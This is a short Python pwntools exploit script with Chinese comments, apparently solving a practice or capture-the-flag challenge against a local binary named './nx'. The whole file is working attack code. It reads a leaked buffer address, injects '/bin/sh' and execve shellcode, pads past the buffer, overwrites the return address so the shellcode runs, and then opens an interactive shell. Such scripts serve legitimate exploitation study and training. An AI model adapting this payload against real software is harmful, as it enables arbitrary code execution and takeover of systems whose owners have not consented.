from pwn import *
from pwn import process

# 把buf的地址保存起来，为了后续向该地址中写入要执行的代码

p = process('./nx')
p.recvuntil(b'buf: ')
buf = int(p.recvline(),16)	# 获得buf的地址
raw_input('>')
log.info(hex(buf))

# 写入/bin/bash字符串
# 由于系统调用要调用bash弹出一个shell，所需要先将该字符写入到栈中，思路是：
# 将该字符串写入到buf首地址的空间中，接下来系统调用传入地址时，只需要传入数组的首页地址即可。
payload = b'/bin/sh\0'

context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 64

sc = asm('''
     xor rsi,rsi
     mov rdx,rsi
     mov rdi,''' + str(buf) + '''
     mov al,59
     syscall
''')

# 写入以上内容后，我们只需要让接下来0x70大小的空间中剩下的空间全部填充，
# 并溢出将返回的地址溢出位buf的地址即可
payload += sc
payload = payload.ljust(0x70,b'\x00') # 用 0 填充满0x70的空间
payload += p64(0x0)
payload += p64(buf + 8)
raw_input('>')

p.sendafter(b'name?',payload)
raw_input('>')
p.interactive()
